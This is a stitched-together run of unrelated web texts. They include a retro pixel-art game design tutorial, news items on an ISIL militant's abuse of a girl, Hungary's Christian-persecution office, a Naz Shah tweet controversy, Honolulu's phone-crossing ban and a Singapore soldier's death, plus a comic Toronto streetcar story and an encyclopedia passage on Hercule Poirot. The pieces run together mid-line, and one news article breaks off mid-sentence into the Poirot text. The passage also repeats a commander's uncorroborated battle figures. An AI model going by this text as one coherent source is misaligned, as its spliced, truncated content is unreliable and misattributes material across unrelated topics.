Who says you need to have human characters in your game? Why not make the next Pac-Man, Q*bert, or Qix?
Menu and Score Text
When creating graphics for your title screen, in-game menus and other text elements like scores you need to stay consistent with the style of your graphic assets. This means keeping the same color palette, pixel size and art style.
by Hoefler and Frere-Jones (anti-aliased) Gotham Bold by Hoefler and Frere-Jones (anti-aliased)
Most fonts are designed to be anti-aliased (smoothed) when displayed on screen. This means if we try to blow them up to match our pixel size, we'll see a lot of noisy pixels around the edges of the letters. It also just doesn't match the aesthetic we're going for. It's all soft and blurry instead of crisp and blocky.
Gotham Bold without anti-aliasing Gotham Bold without anti-aliasing
So we want to display the fonts without anti-aliasing. But simply displaying a normal font without smoothing will usually look terrible. They just aren't designed to work that way. See how funky and hard to read it is at 100%? When we blow it up we can see a lot of stray pixels and uneven strokes.
by Atomic Media Bionika Black by Atomic Media
The answer is to always use fonts that are designed to be displayed without anti-aliasing. They read nice and clean at small sizes, and have that great chunky retro look when we blow them up big.
Some of my favorite pixel fonts are made by Matthew Bardram of Atomic Media.
One caveat to using pixel fonts is that each font is designed to work at only a certain size. Make sure you only use the font at this specific size or a multiple of that size. So if you're using a font designed to work at 10pt, it will also look fine at 20 or 30pt, but not at sizes in between.
Game Mechanics
Think about what type of game mechanics will work best with your art style. Choosing a simplified, classic mechanic will help your players get into the retro mood. Some classic game mechanics are space shooters (Asteroids, Space Invaders), platformers (Super Mario Bros., Donkey Kong), and adventure games (Adventure, Zelda).
Keep in mind that your limited art style will make it harder for you to convey complex information to the player, so a simple mechanic can be a big benefit.
How simple can you make your game? Can you design a game that uses only one button for the controls?
One-button games work great on touch-based devices, since the player can just mash on the screen without having to worry about hitting non-tactile button areas.
A lot of endless runner style games use the one-button control scheme (Canabalt, Jetpack Joyride, Tiny Wings). Can you come up with a different style of game that works equally as well with just a single button for control?
Distortion Effects
If you've ever played one of your favorite old school arcade games in an emulator on your computer, you might have noticed that it doesn't feel quite the same. Everything is a little too crisp and clean on your computer monitor compared to the blurry, flickering, distorted look of an arcade monitor, or your old CRT television from childhood.
Some people probably think it's a good thing that we don't have to put up with these distortion artifacts of a bygone era, but it can be fun to add a little fuzziness back into a retro-inspired game.
Here are some examples of ways you can emulate an old CRT screen:
Scan Lines: You can use a static graphic of thin, narrowly spaced, horizontal white lines to simulate CRT scan lines. Just layer them on top of your game. Adjust opacity and blend mode to achieve the style and intensity you want.
Noise: Gaussian noise can add a nice texture to your game. Ideally the noise would be animated, but a static image will work well enough if having constantly animating noise affects your game's performance.
Blur: A very slight blur adds some nice softness to the image. Don't go too far with this one; you still want to be able to see the pixels.
Color Fringing: One of my favorite old school effects is to add a little RGB color fringing. You can do this by separating the game canvas into separate channels for red, green and blue and shifting them slightly out of alignment. This effect looks really good when it's animated, but it can be pretty processor intensive, so you might need to limit its use. I have another tutorial where I show how to implement the effect with AS3: Create a Retro CRT Distortion Effect Using RGB Shifting.
Combination: Combine multiple effects for maximum fun!
You can also add an animated roll bar to simulate a malfunctioning CRT.
The Flash game Cronus X implements a lot of these effects nicely during menu transitions. This is a good solution if you're worried about the effects negatively impacting game performance.
Innovate
Don't get too bogged down by the constraints of old school gaming. It's more important for the game to be fun have a retro 'feel' than to be historically accurate.
And try not to just recreate a classic space-shooter or platformer. Add some innovation to make your game unique. Use the retro aesthetic as a starting point, but add some of your own unique style and elements to create something new. It can even be fun to mix in some modern music, sounds, or elements (like particle effects) to create a fresh take on classic arcade gaming.
Some great examples of this are Geometry Wars which mixes dazzling modern effects into a vector-style arcade game, Space Invaders Extreme where a classic arcade game is layered on top of fancy background graphics and set to modern electronic music, or Fez, a classic 2D pixel art platformer that allows you to transform the world in 3D space.
Happy Game-Making!
That's all for now. Good luck out there! Drop a link in the comments and show me what you make. I'd love to see your take on the retro aesthetic.Investigation launched into fugitive ISIL militant over sexually abusing Indonesian child in Turkey’s south
ADANA
An investigation has been launched into a fugitive Islamic State of Iraq and the Levant (ISIL) militant over sexually abusing a 15-year-old Indonesian girl in the southern province of Adana.The girl was found in the house of the 36-year-old ISIL militant, identified only by the initials S.Y., during an anti-terror operation. It was determined that the girl was “bought” from her parents in Istanbul by the jihadist to “marry her.”In her interrogation, the girl, identified only as R.F.R., lied about her name three times in order to hide her identity. Her real name was determined from her registry records in Istanbul.The girl was sent to a public prosecutor’s office in order for her testimony to be taken regarding the sexual abuse case.Moreover, investigations are also carried out in order to determine whether her family is linked to ISIL. The girl will be extradited after the procedures are completed.Anti-terror police detained a total of 12 people, including two children, during an anti-terror operation in Adana’s Seyhan district on June 22.The suspects confessed to recruiting militants and sending food, money and clothes to ISIL in Syria at a cell house they established. Eight of them were arrested.Four of the suspects, including Mahmut Kılıçaslan, 34, who made headlines last year after shouting that he was a suicide bomber at a mosque and showing bombs strapped to his belly, were released on condition of judicial control.The Arabic language website of RT website quoted an Iraqi top commander, Abdul Amir Rashid Yarallah, as saying that during the operation to retake Mosul from ISIS, at least 25,000 terrorists including 450 suicidal militants were killed by 100,000 Iraqi forces.
Yarallah also added that the Iraqi forces managed to shoot down at least 130 ISIS helicopters during the operation.
“They have also demolished 1,247 booby-trapped cars belonging to the terrorist group,” he noted, according to a Farsi report by Al-Alam.
The Iraqi commander said that the Mosul operation took 243 days including 101 days in East Mosul.
“The Iraqi forces in the Mosul operation made their utmost efforts to protect the civilians’ lives. They were focused on eradicating the terrorists from the region. The forces proved that they are capable of fighting terrorism at different levels.”
Elsewhere in his remarks, he underlined that the military plans developed by the commanders were implemented accurately.
The top commander also mentioned that the fourth phase of an operation to liberate the city of Tal Afar from ISIS terrorists is set to begin soon.
The top commander also underscored that the Mosul victory belongs to all Iraqi forces.
The operation to retake the city, which was kicked off about 9 months ago, left lots of casualties and damages and displaced over 920,000 Iraqis.As Europe's leaders (minus the UK) meet in the Slovakian capital, Bratislava, the voice of the Eastern bloc* leaders is being heard more, even if it's not always comfortable listening for Brussels' Eurocrats.
This week, Hungary, which has during the past year come under pressure for its handling of Europe's mass migration crisis, has become the first government to open an office specifically to address the persecution of Christians in the Middle East and Europe.
"Today, Christianity has become the most persecuted religion, where out of five people killed [for] religious reasons, four of them are Christians," Catholic News Agency (CNA) quoted Hungary's Minister for Human Capacities, Zoltan Balog, as saying. "In 81 countries around the world, Christians are persecuted, and 200 million Christians live in areas where they are discriminated against. Millions of Christian lives are threatened by followers of radical religious ideologies."
Today, Christianity has become the most persecuted religion.
The move sets a precedent on the international stage. It comes after Hungary's right-wing conservative Prime Minister, Victor Orban, drew criticism in the EU by saying Europe should focus on helping Christians, before helping millions of "Islamic people" coming into Europe.
"If we really want to help, we should help where the real problem is... We should first help the Christian people before Islamic people," Orban said.
Orban's government has campaigned against an EU plan to spread some of the burden of the influx of migrants and refugees by requiring member states to accept quotas: he's called a referendum on 2 October at which voters are expected overwhelmingly to back the government and reject any future quotas.
A 'political war'
The launch of a government office directly concerned with Christian suffering comes at a time when Europe is divided between what Orban calls an "EU elite" and those, like him, who want to hold on to Europe's Christian roots.
"The political war based on the topic of migration is a great opportunity for both parties. For the [EU elite], it is a great chance to destroy the Europe that is based on the conception of Christianity and nationality; to completely alter the ethnic-based foundations of the EU," Orban said. "[The elite] know that Muslims will never vote for a party with Christian roots, so with the huge volume of Muslims, the conservative parties will be crowded out of power. But this war is also a great opportunity for the supporters of the nation states with Christian roots."
Since Germany in 2015 signalled its "open-door" policy (equally driven by Christian teaching) to refugees fleeing warzones in Syria, close to 1.5 million people have arrived in Germany to seek asylum. Many travelled through "the Balkan route", though Hungary has now erected a fence on its southern borders with Serbia and Croatia.
Christian refugees
Hungary's new office will have a starting budget of US$3.35 million. Minister Balog said it is of the "utmost importance" to help persecuted Christians, to raise international awareness of their "untenable situation" and to coordinate humanitarian efforts.
A boy waits for food distribution in a camp for Christian refugees in Erbil.
World Watch Monitor
In Iraq, a Christian population estimated at more than a million before the 2003 war - and considerably more prior to that - today stands at less than 300,000. Many displaced from Iraq's Nineveh Plains after the 2014 'Islamic State' offensive currently seek a permanent home in the West.
In Syria, a similar situation has developed since the country's civil war started five years ago. Other countries in the region have seen a haemorrhaging of indigenous Christianity with the resurgence of Islam as a political ideology since the last century.
Iraq ranks second on Open Doors' 2016 World Watch List, a list of 50 countries where Christians come under the most pressure, while Syria is fifth. In almost 40 of the 50 countries, Islam either predominates or Islamist non-state actors (e.g. militias) are at work.
Somehow the idea of defending Christians has acquired a bad taste.
The Hungarian government will spend the coming weeks working out the exact duties of the new department, though it will have a primarily humanitarian focus, said Eduard von Habsburg, the Hungarian ambassador to the Holy See.
The decision to launch the new department came after PM Orban and Minister Balog travelled to Rome in August to meet Pope Francis.
Part of the reason for going public now with the initiative is to set an example for other European nations.
"Somehow the idea of defending Christians has acquired a bad taste in Europe, as if it means excluding other people," von Habsburg said, and the Hungarian initiative is intended to show it doesn't have to be that way, Catholic news sources reported.
Contacts in Rome
Orban and Balog, respectively a Protestant layman and a Calvinist pastor, were the only non-Catholic members of the group whom Pope Francis received in a private audience in August.
A Christian Egyptian prays moments before his beheading on a beach in Libya (2015).Von Habsburg said that government officials' interactions with leading European churchmen, such as Cardinal Christoph Schönborn of Vienna, Austria, and with the patriarchs of the Middle East, also contributed to the decision to form the agency.
Meanwhile, Balog confirmed that he and Orban had met with Christian leaders from the Middle East in Rome. Among the participants were Syriac Patriarch Ignatius Joseph III Younan of Antioch, Maronite Patriarch Bechara Boutros Rai of Antioch, Melkite Archbishop Jean-Clément Jeanbart of Aleppo, Patriarch Ignatius Aphrem II of the Syriac Orthodox Church, and Bishop Gabriel of the Coptic Orthodox Church, CNA reported.
"Our interest not only lies in the Middle East but in forms of discrimination and persecution of Christians all over the world," Balog said. "It is therefore to be expected that we will keep a vigilant eye on the more subtle forms of persecutions (sic) within European borders."
*The Visegrad group of Czech Republic, Slovakia, Hungary and Poland.
17'Quadrophenia' Sequel Filming This Summer, Based On Novel Continuation Of The Who's Film
In 1973, English rock group The Who released their second rock opera “Quadrophenia,” which loosely followed the story of young mod named Jimmy and his search for a place in the world. Six years later, Franc Roddam’s film adaptation of the album starring Phil Daniels (“Vinyl,” “Chicken Run”) as Jimmy, a kid who falls in with the mod culture only for his life to slowly spiral out of control, was released to mostly positive reviews. The Criterion Collection released a restored Blu-ray of the film featuring an all-new sound mix in 2012. Now, NME reports that a sequel is set to be filmed this summer, 37 years after the original film’s release.
READ MORE: Dardenne Brothers, ‘Quadrophenia,’ Andrew Haigh’s ‘Weekend’ Lead August Criterion Collection Releases
The film will be based on the Pete Townshend-approved Peter Meadows book “To Be Someone,” which continued Jimmy’s adventures after the events of the film. It’s set to be directed by Ray Burdis, who previously produced “The Krays,” a drama based on the real-life exploits of the Kray twins and the London criminal underground. The film will feature returns from original cast members like Daniels and singer Toyah Wilcox, who played Monkey in the original film. Wilcox is quoted as saying that “Quadrophenia” has “never really gone away, as every new generation connects with it,” and that neither the cast or crew “realized the impact it would have at the time.”
The “Quadrophenia” sequel is expected to be released sometime next year.
READ MORE: ‘The Who’ Documentary ‘Lambert & Stamp’ Acquired by Sony Pictures Classics
Stay on top of the latest breaking film and TV news! Sign up for our Festivals newsletter here.
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.I just want to fast forward a bit and reveal some photos that I took for Jagdeep & Jasleen’s Engagement session. Their wedding is coming up this weekend and posting this now would be ideal. Time to get excited!
Jagdeep & Jasleen wanted something unique for their session. Jagdeep had brought up the idea of including paint into the shoot and I immediately fell in love with the idea – after that, it was my job to implement it! I brought my studio setup to the indoor location where we began setting up for the ultimate paint war. I love couples that want to go the extra mile to help create something fun and different.
I was quite happy with the outcome. Leave a comment if you enjoyed it!
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Keywords: creative engagement, engagement session, fun, indoor, jagdeep, jasleen, paint, paint fight, paint war, painting, save the date, theme, themed, new york, sikhPhiladelphia Eagles fans aren't too fond of Terrell Owens, the former star wide receiver who had a love-hate relationship with supporters during his two years in the city. So it may surprise some people to see that in choosing a spokesperson for the new Philly Cheesesteak sandwich, Carl's Jr. went with... Terrell Owens.
The burger joint sure knows how to get a reaction out of sports fans with its commercials.
The new spot opens with Owens lounging by a pool, reminiscing about his days in Philadelphia. While the fans hated him, Owens says he loved the food. The new sandwich, Owens says, allows him to keep the "love" and lost the hate.
This text will be replaced
Philadelphia fans probably won't be frequenting Carl's Jr. after this commercial. But then again, if you live in Philadelphia, there are better places to get a Philly cheesesteak than Carl's Jr.
More NFL: Earl Campbell Opens Up About His Addiction To Painkillersculture A Very Spooky Story: The 506 To Hell
It may have reeked of death and been engulfed in fire, but it still had plenty of seats available.
Relief Line is your not-so-serious glance at the city we love.
This week, we bring you a very special Halloween-themed Relief Line.
Lucy Jenkins was an ordinary young Torontonian. She lived in the west end and commuted downtown to her job every day. Like many people, she took the 506 streetcar to work, eastbound along College and, like many people, she often found herself waiting out in the cold for it to arrive. Until one day everything changed.
It was crisp, grey Halloween morn and after a particularly long wait for the 506, Lucy finally lost her patience. She shook her fist at the heavens and exclaimed, “I would sell my soul to Satan himself if a streetcar arrived right now.”
Then, as if on cue, the 506 eastbound glided up. Not believing her luck, Lucy hurried on.
Everything appeared normal at first, but Lucy quickly realized that something wasn’t quite right. The streetcar was empty, unusually hot, and choking with the fumes of sulphur. Even the driver looked out of place. His red, flaming robe did not appear to be standard TTC issue.
As the car lurched along College, Lucy noticed other curious things. The mysterious driver was reciting incantations in Latin, for one. But what really confused her was that they kept passing stops. First Lansdowne. Then Dufferin. Then Ossington. Crowds of commuters watched as they breezed past.
“Hey driver, why aren’t we stopping?” she asked.
“It’s the express,” he growled back.
“Express to where?”
The driver began laugh. A deep, haunting laugh that shook everything around Lucy. Not the laugh of an ordinary man.
Slowly, he looked back at Lucy, revealing blazing red eyes and blood-drenched horns, and said, “My dear, this is the express… TO HELL!”
For the driver was none other than Satan himself!
Yet when she was met with this terrifying sight, Lucy did not shriek or cry or beg for mercy. In fact she remained completely indifferent.
“Okay, but we’re stopping at Queen’s Park first, right?”
Lucifer stared back at Lucy, a tad confused.
“I don’t think you heard me,” he said. “I said this is the express to…”
“Hell. Yeah, I got it. It’s just that it’s 8:42 and, like, I need to connect at Queen’s Park or I am definitely going to be late.”
This was obviously not a reaction the devil commonly received. Angered by Lucy’s indifference, he began to remind her, with morbid delight, that she had bargained her soul for a mere streetcar ride and that she was now headed to the Inferno to face an eternity of excruciating torments at the hands of his demons.
Still Lucy seemed unconcerned. She barely even acknowledged him.
Of course, at the same time, Satan was trying to drive a streetcar in mixed-traffic. During rush hour. In Toronto. And it had started to rain a bit.
So, naturally, he got distracted. In no time, he forgot about Lucy’s soul and was instead intently watching the road.
“Is it always this bad?” Satan asked, after he nearly collided with the same fixed-gear cyclist for the second time.
“You should see King Street,” Lucy said, not looking up from her Sudoku.
Just then an SUV cut Satan off.
“Oh wow, did you see that?” he shouted, at the same time laying on his horn, which emitted the screams of a million sinners suffering for all eternity. “What’s wrong with people today?”
“I dunno, it seems like a pretty normal Monday to me,” Lucy said, sighing as they grinded to a halt again. “Hey, isn’t this supposed to be express?”
Now remembering his purpose, Satan smiled with macabre glee.
“Oh, don’t fret, we will be arriving shortly.”
He then pointed to a giant, gaping hole forming on College Street. Flames licked at its edges and the taunts of Satan’s awaiting minions echoed from inside. It was the gates of Hell opening in the heart of Toronto. Right out front of Sneaky Dee’s.
As Satan began to roar with laughter he was interrupted by the crackle of his radio.
“Dammit, hold on,” he muttered.
He had a brief argument with someone on the other before he slammed the radio down in frustration: “Bullshit!”
Suddenly the wails of the demons stopped. Then the fiery chasm on College closed up.
“Um, wasn’t that our stop?” Lucy asked.
Satan looked a bit sheepish.
“Change of plans,” he said. “Short turn at Bathurst.”
Lucy sighed again.
“Classic.”
“Yeah, well, my dispatcher says there’s an accident at Spadina so we’re being re-routed. Not my fault.”
“This is literally the worst thing to happen to me all day,” Lucy said.
Satan was about to remind Lucy she had literally sold her soul to him, like, 20 minutes earlier, but he quickly had to slam on the brakes again.
“Shit!”
“What is it now?”
“Sorry, gimme a second,” the devil said, grabbing a large crowbar from his side. “I forgot I have to go, you know, manually switch the thingy.”
“Wow, really?”
“Hey, this isn’t my ideal Monday either, sweetheart.”
The devil walked over to the track and began straining to shift the switch with his crowbar. As he worked away, unsuspecting commuters began to file onto the 506 to Hell. It may have reeked of death and been engulfed in fire, but it still had plenty of seats available.
When he got back on board, Satan shrieked with ghoulish pleasure: “Next stop: Hell!”
Then, more quietly, “via Bathurst.”
But before he could sit down, he was met by the crowd of commuters.
He turned to Lucy. “Why did these people get on? Don’t they know where this is going?”
“It’s an underserviced route,” she shrugged.
Satan hurriedly got on the intercom: “Listen, vile scum, if you want to stay on this particular streetcar you must pay with your… ETERNAL SOUL!”
No one moved. After a moment a man in the back shouted, “So can I use my Presto card?”
“What?” the devil cried. “No!”
“I put a token in already,” one woman said, reaching for the transfers. “Can I get a transfer?”
Satan swatted her hand. “I’ll give you a transfer… to HELL!”
“Does Hell connect to Broadview station?”
“What’s wrong with you people?” Satan was now rubbing his bloodied horns in frustration. “This is going to the Underworld! For all eternity! Are you really this desperate to get on a streetcar?”
Most people weren’t listening.
“I think he wants us to move to the back!” one Good Samaritan shouted. “C’mon everyone, let’s make some room!”
People began shoving and arguing. Someone dropped their chocolate milk. A baby began to cry. Satan had clearly lost control of the situation.
Lucy, trying to bring order, raised her hand.
“Listen up everyone, we’re actually short-turning here.”
The crowd gave out a collective groan and then, as quickly as they got on, got off.
When he was once again alone with Lucy, Satan slumped in his seat.
“Thanks for that.” He pulled a macchiato from his flaming cloak and began to blow on it. “Whatever they pay streetcar drivers, it’s not enough.”
Lucy jumped from her seat.
“Wait, when did you get a coffee?”
“Oh, while I was outside. It’s just one of those two-macchiato mornings, ya know?”
“I’m already late and you think it’s a good time to get breakfast?! This is unbelievable! Let me off here.”
“You can’t get off! You sold your soul to me!”
“Yeah, yeah, and you said this was the express.”
“C’mon, it’s only…” Satan glanced at his watch. “9:18?!”
Grabbing her purse, Lucy forced open the doors and headed out into the street.
Satan ran outside and called after her as she headed down College: “You may have escaped my clutches, Lucy Jenkins, but you can’t escape rush hour in Toronto!”
He began to roar with maniacal laughter.
“You hear me?! You’ll never escape rush hour in Toronto! Never!”A rising star of the Labour Party who is a key ally of Jeremy Corbyn shared a Twitter post telling sex abuse victims of the Rotherham scandal to ‘shut their mouths for the good of diversity’.
Naz Shah, who represents Bradford West, shared and liked the post by a parody account of newspaper columnist Owen Jones.
It said: ‘Those abused girls in Rotherham and elsewhere just need to shut their mouths. For the good of diversity.’
It comes just days after Ms Shah, 43, penned a comment piece for the Independent attacking fellow Labour MP Sarah Champion for writing an article stating ‘Britain had a problem with Pakistani men targeting vulnerable white girls’.
Rising star Labour MP Naz Shah, pictured, shared a Twitter post telling victims of sexual abuse to'shut their mouths'
The post, pictured, was written by a parody account of columnist Owen Jones and Ms Shah later deleted it. Her spokesman said it was a 'genuine mistake'
Ms Shah, a mother of three, later deleted her retweet and unliked the post.
But her actions were criticised by Equality and Human Rights Commission chief executive Rebecca Hilsenrath who said she should ‘know better’.
She told The Sun: ‘We need to keep the victims of these horrific crimes at the heart of the debate and always remember that diversity is not served by silence.’
As reported on MailOnline, Ms Shah, a Muslim, was suspended by the Labour Party in 2016 for making anti-semitic comments online.
Writing on Facebook, she said a ‘solution’ to the Middle East conflict is to ‘relocate Israel into the United States’, adding that ‘transportation costs will be less than three years of defence spending... problem solved’.
The inflammatory outburst was accompanied by a map of America with a small section representing Israel shaded in.
Miss Shah later apologised in a statement to the Commons: ‘I accept and understand that the words I used caused upset and hurt to the Jewish community, and I deeply regret that.’
It came after Ms Shah attacked fellow Labour MP Sarah Champion, pictured, for speaking out about the Rotherham sex scandal in an open letter
She was then stripped of the Labour whip pending an investigation.
Her suspension was lifted three months later and she was welcomed back into the party.
On the Twitter posts, a spokesman for Ms Shah told the Sun it was a ‘genuine accident rectified within minutes’.
The spokesman said: ‘Her record speaks for itself. Naz has been working for over 20 years on the issues of child abuse, violence against women and grooming, which is well documented.
‘She has and will continue to advocate for all victims, and work towards eradicating this evil from society.’
Her letter about Ms Champion’s article in The Sun said the comments were nothing more than ‘blanket, racialised loaded statements’ which stigmatised the Pakistani community.
The article, she said, published in the wake of the latest Asian sex grooming scandal in Newcastle, was ‘irresponsible’ and was ‘setting a dangerous precedent’.
Miss Shah’s stand was singled out for praise by Jeremy Corbyn. He posted her letter on his Facebook page, accusing The Sun, and by implication Sarah Champion herself, of using ‘Nazi-like terminology about a minority community’.
Ms Champion later left the Shadow Cabinet, in which she had served as Shadow Secretary of State for Women and Equalities Minister, amid claims she was ‘hounded out’.It'll soon be illegal to look at your phone while crossing the street in Honolulu.
The city's mayor signed an ordinance on Thursday that bans pedestrians from crossing the street or highway 'while viewing a mobile electronic device.'
Anyone caught by authorities would face a fine up to $35 for a first violation. The fine for a second violation within one year would be as much as $75 and a third violation could lead to a fine up to $99.
Honolulu is the first major U.S. city and county to ban use of mobile devices while walking.
But the measure doesn't just cover cell phones. It also includes other'mobile electronic equipment' such as video games, pagers, laptops, digital cameras and personal digital assistants, according to the bill's text.
The ban is set to take effect on October 25. In the meantime, the Honolulu Police Department said it plans to focus on education and awareness of the new law before issuing citations, according to Hawaii News Now.
Anyone using devices to contact 911 are exempt, as are emergency responders using devices during the'scope of their official duties.'
"Sometimes I wish there were laws we did not have to pass, that perhaps common sense would prevail but sometimes we lack common sense," Honolulu mayor Kirk Caldwell told media outlets at the bill signing.ROCKHAMPTON, Australia: The death of 3rd Sergeant (3SG) Gavin Chan during an annual training exercise in Australia has left a mark on his fellow National Service comrades, senior commanders said.
"When somebody so close to you and (who) spent so many years with you was killed in an accident, naturally the soldiers in the unit were very affected," exercise director Brigadier General (BG) Mark Tan told reporters in a dusty clearing at the Shoalwater Bay Training Area in Queensland, Australia on Sunday (Oct 8).
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"(This is) especially for those who were within the same Bionix vehicle and those in his platoon."
Military Expert (ME) 6 Luke Goh, commander of the forward support group whose wide-ranging responsibilities include providing medical assistance during the training exercise, said 3SG Chan's death made an "impact" on his fellow National Service colleagues.
To that end, BG Tan added that "special arrangements" were made so that platoon mates could send off 3SG Chan's body and attend his funeral back in Singapore last month.
"I think that was an important form of closure for them to come together and show support for 3rd Sergeant Gavin, who was very much a treasured commander of the unit," he said.
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3SG Chan was found unconscious on Sep 15 after a Bionix infantry vehicle that he was guiding out of difficult terrain landed on its side, the Ministry of Defence said.
A medic tried to resucitate 3SG Chan before he was evacuated via helicopter to Rockhampton Hospital, where he died.
ME6 Goh said the forward support group, which also provides logistics and maintenance support, was activated when the incident happened.
“It was certainly important to get the casualty out to the nearest medical facility,” ME6 Goh said, adding that resources involved included a helicopter and a 24-hour standby ambulance operator.
Ambulance operator Wesley Kok, 20, was on duty when the incident happened.
“I prepped my vehicle and was ready to go any time,” he said. “So when I got the call, everything was loaded up and we moved off to the airfield to bring the medical officer to the helicopter to bring him to the site of the accident.”
Private Kok said he took about five minutes to get from the camp to the airfield, where a helicopter was waiting to transport the medical officer to the scene. As it was an emergency, he was given authorisation to go beyond the speed limit for the 2km journey.
The full-time National Serviceman said his parents rang him up “the day it went on the news”.
“I told them I was involved in the activation, but I’m safe and nothing else happened," he said.
“I feel like it’s very unfortunate for it to happen,” he added. “I did my best to rush as fast as possible, but I think the safety measures will be revised to keep up.”
The mood grew sombre as soldiers sat side by side and recounted the incident. One army engineer regular, 31, said he was devastated for 3SG Chan’s family, especially because he had been planning on studying at university and “making the family proud”.
TRAINING RESUMED TO "INSTIL CONFIDENCE" IN SOLDIERS
But ME6 Goh said the battalion “recovered well and recovered quickly”.
Following the incident, said BG Tan, a safety pause was initiated to evaluate "what had happened and whether our safety measures were sufficient".
"Having established that, as well as the readiness and the morale of the soldiers on the ground, we were convinced that there were sufficient measures in place," added the chief guards officer.
"We have resumed training to instill confidence in the soldiers that the training they are undergoing is still safe."
Soldiers prepping a Light Strike Vehicle at the Shoalwater Bay Training Area in Queensland, Australia. (Photo: Aqil Haziq Mahmud)
Nevertheless, BG |
's actual death and funeral occurred in Curtain, years after his retirement from active investigation, but it was not the first time that Hastings attended the funeral of his best friend. In The Big Four (1927), Poirot feigned his death and subsequent funeral to launch a surprise attack on the Big Four.
Recurring characters [ edit ]
Captain Arthur Hastings [ edit ]
Hastings, a former British Army officer, first meets Poirot during Poirot's years as a police officer in Belgium and almost immediately after they both arrive in England. He becomes Poirot's lifelong friend and appears in many cases. Poirot regards Hastings as a poor private detective, not particularly intelligent, yet helpful in his way of being fooled by the criminal or seeing things the way the average man would see them and for his tendency to unknowingly "stumble" onto the truth.[53] Hastings marries and has four children – two sons and two daughters. As a loyal, albeit somewhat naïve companion, Hastings is to Poirot what Watson is to Sherlock Holmes.
Hastings is capable of great bravery and courage, facing death unflinchingly when confronted by The Big Four and displaying unwavering loyalty towards Poirot. However, when forced to choose between Poirot and his wife in that novel, he initially chooses to betray Poirot to protect his wife. Later, though, he tells Poirot to draw back and escape the trap.
The two are an airtight team until Hastings meets and marries Dulcie Duveen, a beautiful music hall performer half his age, after investigating the Murder on the Links. They later emigrate to Argentina, leaving Poirot behind as a "very unhappy old man". However, Poirot and Hastings reunite during the novels The Big Four, Peril at End House, The ABC Murders, Lord Edgware Dies and Dumb Witness when Hastings arrives in England for business, with Poirot noting in ABC Murders that he enjoys having Hastings over because he feels that he always has his most interesting cases with Hastings. The two collaborate for the final time in Curtain: Poirot's Last Case, when the seemingly-crippled Poirot asks Hastings to assist him in his final case. When the killer they are tracking nearly manipulates Hastings into committing murder, Poirot describes this in his final farewell letter to Hastings as the catalyst that prompted him to eliminate the man himself, as Poirot knew that his friend was not a murderer and refused to let a man capable of manipulating Hastings in such a manner go on.
Mrs. Ariadne Oliver [ edit ]
Detective novelist Ariadne Oliver is Agatha Christie's humorous self-caricature. Like Christie, she is not overly fond of the detective whom she is most famous for creating–in Ariadne's case, Finnish sleuth Sven Hjerson. We never learn anything about her husband, but we do know that she hates alcohol and public appearances and has a great fondness for apples until she is put off them by the events of Hallowe'en Party. She also has a habit of constantly changing her hairstyle, and in every appearance by her much is made of her clothes and hats. Her maid Maria prevents the public adoration from becoming too much of a burden on her employer, but does nothing to prevent her from becoming too much of a burden on others.
She has authored over 56 novels and greatly dislikes people modifying her characters. She is the only one in Poirot's universe to have noted that "It’s not natural for five or six people to be on the spot when B is murdered and all have a motive for killing B." She first met Poirot in the story Cards on the Table and has been bothering him ever since.
Miss Felicity Lemon [ edit ]
Poirot's secretary, Miss Felicity Lemon, has few human weaknesses. The only mistakes she makes within the series are a typing error during the events of Hickory Dickory Dock and the mis-mailing of an electricity bill, although she was worried about strange events surrounding her sister at the time. Poirot described her as being "Unbelievably ugly and incredibly efficient. Anything that she mentioned as worth consideration usually was worth consideration." She is an expert on nearly everything and plans to create the perfect filing system. She also worked for the government statistician-turned-philanthropist Parker Pyne. Whether this was during one of Poirot's numerous retirements or before she entered his employ is unknown.[citation needed] In The Agatha Christie Hour, she was portrayed by British actress Angela Easterling, while in Agatha Christie's Poirot she was portrayed by Pauline Moran. On a number of occasions, she joins Poirot in his inquiries or seeks out answers alone at his request.
Chief Inspector James Harold Japp [ edit ]
Japp is a Scotland Yard Inspector and appears in many of the stories trying to solve cases that Poirot is working on. Japp is outgoing, loud and sometimes inconsiderate by nature and his relationship with the refined Belgian is one of the stranger aspects of Poirot's world. He first met Poirot in Belgium in 1904, during the Abercrombie Forgery. Later that year they joined forces again to hunt down a criminal known as Baron Altara. They also meet in England where Poirot often helps Japp and lets him take credit in return for special favours. These favours usually entail Poirot being supplied with other interesting cases.[54] In Agatha Christie's Poirot, Japp was portrayed by Philip Jackson. In the film, Thirteen at Dinner (1985), adapted from Lord Edgware Dies, the role of Japp was taken by the actor David Suchet, who would later star as Poirot in the ITV adaptations.
Major novels [ edit ]
The Poirot books take readers through the whole of his life in England, from the first book (The Mysterious Affair at Styles), where he is a refugee staying at Styles, to the last Poirot book (Curtain), where he visits Styles before his death. In between, Poirot solves cases outside England as well, including his most famous case, Murder on the Orient Express (1934).
Hercule Poirot became famous in 1926 with the publication of The Murder of Roger Ackroyd, whose surprising solution proved controversial. The novel is still among the most famous of all detective novels: Edmund Wilson alludes to it in the title of his well-known attack on detective fiction, "Who Cares Who Killed Roger Ackroyd?" Aside from Roger Ackroyd, the most critically acclaimed Poirot novels appeared from 1932 to 1942, including Murder on the Orient Express, The ABC Murders (1935), Cards on the Table (1936), and Death on the Nile (1937), a tale of multiple homicide upon a Nile steamer. Death on the Nile was judged by detective novelist John Dickson Carr to be among the ten greatest mystery novels of all time.[citation needed]
The 1942 novel Five Little Pigs (a.k.a. Murder in Retrospect), in which Poirot investigates a murder committed sixteen years before by analysing various accounts of the tragedy, is a Rashomon-like performance. In his analysis of this book, critic and mystery novelist Robert Barnard referred to it as "the best Christie of all".[55]
In 2014, the Poirot canon was added to by the first author to be commissioned by the Christie estate to write an original story, Sophie Hannah. The novel was called The Monogram Murders, and was set in the late 1920s, placing it chronologically between The Mystery of the Blue Train and Peril at End House. A second Hannah-penned Poirot came out in 2016, called Closed Casket.[56]
Portrayals [ edit ]
Stage [ edit ]
The first actor to portray Hercule Poirot was Charles Laughton. He appeared on the West End in 1928 in the play Alibi which had been adapted by Michael Morton from the novel The Murder of Roger Ackroyd. In 1932 the play was performed as The Fatal Alibi on Broadway.
Film [ edit ]
Austin Trevor [ edit ]
Austin Trevor debuted the role of Poirot on screen in the 1931 British film Alibi. The film was based on the stage play. Trevor reprised the role of Poirot twice, in Black Coffee and Lord Edgware Dies. Trevor said once that he was probably cast as Poirot simply because he could do a French accent.[57] Leslie S. Hiscott directed the first two films, and Henry Edwards took over for the third.
Tony Randall [ edit ]
